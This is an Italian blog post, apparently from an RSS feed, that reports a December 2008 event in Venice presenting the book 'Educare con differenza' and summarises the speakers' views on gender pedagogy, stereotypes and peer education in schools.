Il CAFFÈ PEDAGOGICO del 3 dicembre, nell’ambito della presentazione del volume “Educare con differenza. Modelli educativi e pratiche formative”, ha visto la partecipazione delle curatrici IVANA PADOAN e MARIA SANGIULIANO, dell’Assessora alle Pari Opportunità della Provincia di Venezia ENZA VIO, [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.caffepedagogico.org/blog/wp-content/uploads/2008/12/clip_image002.jpg" title="EDUCARE CON DIFFERENZA"><img width="119" src="http://www.caffepedagogico.org/blog/wp-content/uploads/2008/12/clip_image002.thumbnail.jpg" alt="EDUCARE CON DIFFERENZA" height="139" style="width: 119px; height: 139px" /></a></p>
<table border="0" width="290" cellPadding="0" cellSpacing="0" style="margin: auto auto auto 133.6pt; width: 217.85pt" class="MsoNormalTable">
<tr style="height: 12.45pt">
<td style="height: 12.45pt; background-color: transparent; border: #ece9d8; padding: 3pt">
<p align="center" style="margin: 0cm 0cm 0pt" class="MsoNormal"><span style="font-size: 12pt; font-family: 'Times New Roman'">Educare con differenza</span></p>
</td>
</tr>
<tr>
<td style="background-color: transparent; border: #ece9d8; padding: 3pt"><span style="font-size: 10pt; font-family: 'Times New Roman'"></span></td>
</tr>
<tr>
<td style="background-color: transparent; border: #ece9d8; padding: 3pt"><span style="font-size: 10pt; font-family: 'Times New Roman'"> </p>
<p></span></td>
</tr>
<tr>
<td style="background-color: transparent; border: #ece9d8; padding: 3pt"><span style="font-size: 8pt; font-family: 'Times New Roman'"> </p>
<p></span></td>
</tr>
</table>
<p align="center" style="margin: auto 0cm; text-align: center" class="MsoNormal"><font face="Times New Roman"><strong>Pedagogia dei generi, con i generi, per i generi maschile e femminile</strong></font></p>
<p align="center" style="margin: auto 0cm; text-align: center" class="MsoNormal"><font face="Times New Roman"><strong>3 dicembre 2008</strong></font></p>
<p class="MsoNormalCxSpPrimo"><font face="Times New Roman">Il CAFFÈ PEDAGOGICO del 3 dicembre, nell’ambito della presentazione del volume “Educare con differenza. Modelli educativi e pratiche formative”, ha visto la partecipazione delle curatrici IVANA PADOAN e MARIA SANGIULIANO, dell’Assessora alle Pari Opportunità della Provincia di Venezia ENZA VIO, di FRANCA PULLIA del Centro Risorse Donna e di STEFANO CICCONE cofondatore dell’Associazione nazionale Maschile Plurale;<span>  </span>ha visto inoltre la partecipazione di TANTE DONNE e POCHI UOMINI. Già questo colpo d’occhio può invitarci a riflettere:<span>  </span>la differenza di e tra i generi è ancora una questione delle donne e per le donne? Come mai è così scarsa la partecipazione degli uomini? Quali sono gli impliciti del loro silenzio e della loro assenza? Che valore ha per le donne e per gli uomini interrogarsi sulla propria <em>differenza</em>?<span>  </span><span> </span></font></p>
<p style="text-indent: 14.2pt" class="MsoNormalCxSpMedio"><font face="Times New Roman">Le parole d’apertura dell’Assessora hanno posto l’accento sull’importanza e l’urgenza di affrontare la questione di genere, dei generi, in termini educativi: <em>Come si deve educare alle differenza? Come rivolgersi in modo non indifferente e non stereotipato al maschile e al femminile?</em> </font></p>
<p class="MsoNormalCxSpMedio"><font face="Times New Roman"><span> </span>Questi interrogativi e l’importanza di un dialogo con le istituzioni scolastiche attraversano la politica di genere attuata dal Centro Risorse Donna e dall’Assessorato Pari Opportunità della Provincia di Venezia, partner dal 2005 al 2007 del Progetto Equal P.O.N.T.I.. </font></p>
<p class="MsoNormalCxSpMedio"><font face="Times New Roman">All’interno di questo progetto, come illustrato da Maria Sangiuliano, ha preso avvio un dialogo con il territorio veneziano e la messa in atto di percorsi di educazione tra pari in due scuole: il Liceo Benedetti di Venezia e l’Istituto Professionale Musatti di Dolo. Il desiderio di collocare l’azione all’interno di una ricerca che rendesse le operatrici e gli operatori più consapevoli, da un lato, e, dall’altro, le forti resistenze ai progetti sulla differenza di genere rilevate in ambito scolastico hanno evidenziato l’esigenza di interventi formativi rivolti agli insegnanti e portato ad una collaborazione del Centro Risorse Donna con l’Università Ca’ Foscari e</p>
<personname ProductID="la SISS" w:st="on">la SISS</personname> del Veneto.</font></p>
<p style="text-indent: 14.2pt" class="MsoNormalCxSpMedio"><font face="Times New Roman">Interrogarsi sugli stereotipi, esaltare le differenze per una soluzione unica e sociale volta al benessere di ciascuna e ciascuno (Vio), mettere in atto progetti di sensibilizzazione, educativi e formativi di ricerca-azione (Sangiuliano), ricontattare la propria differenza personale, in modo da sopperire all’assenza di prospettive del maschile e al silenzio su di sé e sulla propria corporeità (Ciccone), porre a tema il concetto di “sviluppo sostenibile” in senso di genere senza irrigidire le differenze, per una politica di relazione tra i generi (Padoan) sono state le trame e gli orientamenti dell’incontro.</font></p>
<p style="text-indent: 14.2pt" class="MsoNormalCxSpMedio"><font face="Times New Roman">Ivana Padoan, come sopraccennato, ha sottolineato da un lato la necessità di superare il problema della differenza radicale tra i generi, naturalizzata e naturalizzante, e dall’altro l’inadempienza della pedagogia e della psicologia rispetto ad uno sviluppo sostenibile in senso di genere. Se esiste una dimensione anti-politiche di genere è proprio quella delle scienze umanistiche; gli ambiti educativi e psicologici per primi rimuovono i temi della cura e delle differenze. Per sopperire a questa mancanza, per una politica educativa relazionale tra i generi c’è bisogno di sporcarsi le mani con il quotidiano, luogo originario del riconoscimento delle differenze. Ed è dal quotidiano che ci si può e ci si deve chiedere quali siano le relazioni migliori per una convivenza che produca miglioramento per le parti, fra le parti, per i potenziali umani. L’invito è dunque quello di leggere le differenze in termini contestuali, in termini di pluralità e complessità, <span> </span>in modo da mettere in atto processi di trasformazione cognitiva per la quale donne e uomini possano costruire nuove forme di relazione, di condivisione e di responsabilità.</font></p>
<p><font face="Times New Roman">Facendo riferimento a Bourdieu viene posto l’accento sul bisogno che le donne si reinventino, non da sole, ma con le altre parti in gioco, che si assumano la responsabilità di aver accettato di far parte della loro strumentalizzazione nei “mercati simbolici”</font><a name="_ftnref1" href="http://www.caffepedagogico.org/blog/wp-includes/js/tinymce/blank.htm#_ftn1"><span class="MsoFootnoteReference"></span><span></span><span class="MsoFootnoteReference"></span><span style="font-size: 11pt; font-family: Calibri"><font face="Times New Roman">[1]</font></span></a><font face="Times New Roman">: le donne si sono fatte oggetto del simbolico maschile.<span>  </span>Il bisogno di reinventare la propria significatività nel mondo è fondamentalmente il bisogno di una trasformazione cognitiva e paradigmatica, di una riflessione su schemi mentali e prospettive di senso perché si interroghi la nostra idea di futuro.</font><font face="Times New Roman"> </font></p>
<p style="text-indent: 14.2pt" class="MsoNormalCxSpMedio"><font face="Times New Roman">È ponendosi in ascolto di se stesse ma anche dell’interrogazione maschile che le donne sono chiamate a reinventarsi e a reinventare relazioni per uno sviluppo sostenibile?</font></p>
<p style="text-indent: 14.2pt" class="MsoNormalCxSpMedio"><font face="Times New Roman">Dell’interrogazione del maschile su di sé e delle donne verso il maschile Stefano Ciccone si fa “norma”: - Sono maschio adulto, bianco ed eterosessuale, sono la norma che viene interrogata dalla differenza – ci dice in apertura, ma non tarda ad aggiungere il suo bisogno di interrogare il suo stesso differire. Per Ciccone è necessario uno sguardo differente sulla storia e sulla scienza degli uomini che ha reso gli uomini invisibili a se stessi, strumenti non adeguati a parlare di sé. Da qui l’invito a costruire spazi pedagogici per attraversare le differenze, vivere i conflitti e chiedersi “come si sta nello spazio educativo? Quanto siamo agiti da elementi inconsapevoli?”. Insegnanti e allievi sono persone sessuate, eppure nella storia l’uomo è stato educato a disciplinare il corpo: ingombro storico soprattutto per le donne. Viene manifestato il bisogno di misurarsi con la resistenza di ragazze e ragazzi a parlare del proprio corpo: veicolo della propria libertà. Sotto il vincolo di questa resistenza viene interpretato il dire dei giovani: “non sono né maschio né femmina, ma primariamente persona”.</font></p>
<p class="MsoNormalCxSpMedio"><font face="Times New Roman">Così come per il corpo anche il tema della cura è stato storicamente riconosciuto come un sapere delle donne, una virtù femminile. Perché gli uomini non si fanno carico della cura? Temono forse una perdita di autorevolezza e indipendenza? Non viene forse sottaciuta quell’imprescindibilità della relazione in cui ciascuna e ciascuno gioca autonomia e dipendenza? </font></p>
<p style="text-indent: 14.2pt" class="MsoNormalCxSpMedio"><font face="Times New Roman">Franca Pullia, presentati nello specifico i percorsi di educazione tra pari messi in atto dal Centro Risorse Donna e volti a contrastare gli stereotipi di genere</font><a name="_ftnref2" href="http://www.caffepedagogico.org/blog/wp-includes/js/tinymce/blank.htm#_ftn2"><span class="MsoFootnoteReference"></span><span></span><span class="MsoFootnoteReference"></span><span style="font-size: 11pt; font-family: Calibri"><font face="Times New Roman">[2]</font></span></a><font face="Times New Roman">, ha posto a tema il “fenomeno dell’attenzione discriminante” per il quale, in modo anche inconsapevole, si interpretano differentemente le performances di ragazze e ragazzi. Questo fenomeno va considerato in modo particolare, soprattutto per un lavoro sugli stereotipi, in quanto veicola giudizi e forme di riconoscimento spesso discriminanti che condizionano le stesse performances degli educandi.</font></p>
<p style="text-indent: 14.2pt" class="MsoNormalCxSpMedio"><font face="Times New Roman">Le questioni che hanno preso avvio dall’intervento delle relatrici e del relatore sono state tante e differenti:</font></p>
<p style="margin: auto auto auto 50.2pt; text-indent: -18pt" class="MsoNormalCxSpMedio"><span style="font-family: Symbol"></span><span>·</span><span style="font: 7pt 'Times New Roman'">         </span><font face="Times New Roman">È possibile che vi siano interessi impliciti e parziali nell’utilizzo dei termini “differenza”, <span> </span>“uguaglianza” e “dialettica” tra i generi?</font></p>
<p style="margin: auto auto auto 50.2pt; text-indent: -18pt" class="MsoNormalCxSpMedio"><span style="font-family: Symbol"></span><span>·</span><span style="font: 7pt 'Times New Roman'">         </span><font face="Times New Roman">L’esigenza di creare una rottura rispetto al paradigma della differenza rigidamente intesa tra donne e uomini, differenza che crea scissioni esterne e interne soprattutto se non si è adeguati alle aspettative degli altri, se i propri bisogni o desideri non rispecchiano internamente il ruolo appreso dall’esterno dell’essere donne o uomini; il bisogno cioè di un’apertura delle categorie sembra essere minoritario rispetto alle richieste delle donne e degli uomini e ai contesti che a queste cercano di rispondere. Ci si chiede dunque, come agire di fronte all’assenza di una domanda reale di superamento dei luoghi comuni che creano e ripropongono minorità, ghettizzazioni e separatismi? Come rispondere al bisogno di separatismo di donne e uomini che si interrogano sulla differenza? Come far fronte al fatto che anche i gruppi misti di formazione o di autocoscienza ricalchino molte volte gli stereotipi irrigiditi e ancora molto spesso naturalizzati?</font></p>
<p style="margin: auto auto auto 50.2pt; text-indent: -18pt" class="MsoNormalCxSpMedio"><span style="font-family: Symbol"></span><span>·</span><span style="font: 7pt 'Times New Roman'">         </span><font face="Times New Roman">In che modo le donne si confrontano con la “neutralità” del sapere, della storia, della scienza? La neutralità della storia degli uomini è davvero maschile? In che modo le nuove generazioni si confrontano con la conoscenza, con la storia, con i contesti? Le donne a volte sembrano ricalcare un’antica connivenza lasciando a quella presunta neutralità l’autorità sulla storia. Stiamo ancora rifiutando di misurarci con il sapere oppure sono ancora in sospeso i conti con l’autorità?</font></p>
<p style="margin: auto auto auto 50.2pt; text-indent: -18pt" class="MsoNormalCxSpMedio"><span style="font-family: Symbol"></span><span>·</span><span style="font: 7pt 'Times New Roman'">         </span><font face="Times New Roman">A quali condizioni ripensiamo l’essere donne e uomini? Cambiando la sessualità come cambia la desiderabilità nella relazione uomo-donna?</font></p>
<p><span style="font-family: Symbol"></span><span>·</span><span style="font: 7pt 'Times New Roman'">         </span><font face="Times New Roman">Non c’è forse per le donne un bisogno ancora inappagato di bastarsi? Può essere questo bisogno a mettere in campo la possibilità di valorizzare le differenze e aprirsi ad altro in vista del superamento degli stereotipi di genere? Può essere questo un modo di “sporcarsi le mani con il quotidiano”?</font><font face="Times New Roman"> </font></p>
<p class="MsoNormalCxSpMedio"><font face="Times New Roman">Le “risposte” <em>metaloganti</em> di Ivana Padoan,<span>  </span>le riflessioni di Stefano Ciccone e delle relatrici hanno problematizzato alcune questioni e aperto nuovi confronti. Mi limito ad evidenziarne alcune.</font></p>
<p class="MsoNormalCxSpMedio"><font face="Times New Roman"><span>            </span>Le differenze e le uguaglianze sono leggibili nei contesti in cui prendono valenza dialettica in termini di reciprocità. In questa reciprocità ci si deve chiedere: siamo portatori dialettici e critici della differenza o portatori prigionieri? La nostra storia è una base sicura dalla quale trasformare i nostri schemi di senso? L’identità in generale e quella di genere in particolare è un paradigma che economizza l’esistenza psichica, ma l’identità esiste solo in relazione ed è da questa che può prendere avvio una riflessione che non sia esclusivamente difensiva. Il pensiero su di sé in fondo non è che una forma difensiva.</font></p>
<p class="MsoNormalCxSpPrimo"><em><font face="Times New Roman">Siamo disposti a perdere qualcosa di noi nel pensiero relazionale? …</font></em><span><font face="Times New Roman">                                                                                                                      </font></span></p>
<p class="MsoNormalCxSpMedio"><font face="Times New Roman"><span>                                                                                                                      </span>Alessandra Petronilli</font></p>
<p class="MsoNormalCxSpMedio"><font face="Times New Roman"><hr SIZE="1" width="33%" align="left" /></font></p>
<p id="ftn1">
<p style="margin: auto 0cm" class="MsoFootnoteText"><a name="_ftn1" href="http://www.caffepedagogico.org/blog/wp-includes/js/tinymce/blank.htm#_ftnref1"><span class="MsoFootnoteReference"></span><span></span><span class="MsoFootnoteReference"></span><span style="font-size: 10pt; font-family: Calibri"><font face="Times New Roman">[1]</font></span></a><font size="2" face="Times New Roman"> Per un approfondimento della questione rinvio al saggio di I. Padoan nel volume qui presentato, pp. 137-174.</font></p>
<p id="ftn2">
<p style="margin: auto 0cm" class="MsoFootnoteText"><a name="_ftn2" href="http://www.caffepedagogico.org/blog/wp-includes/js/tinymce/blank.htm#_ftnref2"><span class="MsoFootnoteReference"></span><span></span><span class="MsoFootnoteReference"></span><span style="font-size: 10pt; font-family: Calibri"><font face="Times New Roman">[2]</font></span></a><font size="2" face="Times New Roman"> Rinvio al saggio di F. Pullia e M. Sangiuliano, pp. 227-253.</font></p>
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